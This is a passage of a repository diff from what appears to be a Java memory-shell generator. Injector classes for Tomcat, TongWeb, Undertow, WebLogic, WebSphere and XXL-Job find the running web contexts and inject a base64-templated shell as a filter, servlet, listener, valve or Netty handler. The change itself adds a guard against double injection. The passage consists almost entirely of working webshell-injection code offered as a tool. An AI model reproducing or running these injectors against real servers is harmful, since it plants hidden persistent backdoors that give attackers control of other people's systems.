if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -43,6 +49,7 @@ public class TomcatValveInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatWebSocketInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -31,16 +32,21 @@ public class TomcatWebSocketInjector {
|
||||
}
|
||||
|
||||
public TomcatWebSocketInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -49,6 +55,7 @@ public class TomcatWebSocketInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+8
-1
@@ -19,6 +19,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TongWebFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -33,13 +34,18 @@ public class TongWebFilterInjector {
|
||||
}
|
||||
|
||||
public TongWebFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
@@ -51,6 +57,7 @@ public class TongWebFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TongWebListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -25,16 +26,21 @@ public class TongWebListenerInjector {
|
||||
}
|
||||
|
||||
public TongWebListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -43,6 +49,7 @@ public class TongWebListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TongWebValveInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -25,16 +26,21 @@ public class TongWebValveInjector {
|
||||
}
|
||||
|
||||
public TongWebValveInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -43,6 +49,7 @@ public class TongWebValveInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class UndertowFilterInjector {
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,16 +31,21 @@ public class UndertowFilterInjector {
|
||||
}
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class UndertowFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+17
-10
@@ -20,18 +20,32 @@ import java.util.zip.GZIPInputStream;
|
||||
public class UndertowListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public UndertowListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -40,6 +54,7 @@ public class UndertowListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@@ -60,14 +75,6 @@ public class UndertowListenerInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
|
||||
+9
-2
@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class UndertowServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -34,16 +35,21 @@ public class UndertowServletInjector {
|
||||
}
|
||||
|
||||
public UndertowServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -52,6 +58,7 @@ public class UndertowServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class WebLogicFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,16 +31,21 @@ public class WebLogicFilterInjector {
|
||||
}
|
||||
|
||||
public WebLogicFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class WebLogicFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class WebLogicListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -30,16 +31,21 @@ public class WebLogicListenerInjector {
|
||||
}
|
||||
|
||||
public WebLogicListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class WebLogicListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -21,6 +21,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class WebLogicServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -35,16 +36,21 @@ public class WebLogicServletInjector {
|
||||
}
|
||||
|
||||
public WebLogicServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -53,6 +59,7 @@ public class WebLogicServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-4
@@ -8,9 +8,7 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -24,6 +22,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class WebSphereFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -38,16 +37,21 @@ public class WebSphereFilterInjector {
|
||||
}
|
||||
|
||||
public WebSphereFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -56,6 +60,7 @@ public class WebSphereFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class WebSphereListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -28,16 +29,21 @@ public class WebSphereListenerInjector {
|
||||
}
|
||||
|
||||
public WebSphereListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -46,6 +52,7 @@ public class WebSphereListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class WebSphereServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -29,16 +30,21 @@ public class WebSphereServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
public WebSphereServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -47,6 +53,7 @@ public class WebSphereServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+5
@@ -28,6 +28,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -38,12 +39,16 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
|
||||
public XxlJobNettyHandlerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
inject();
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user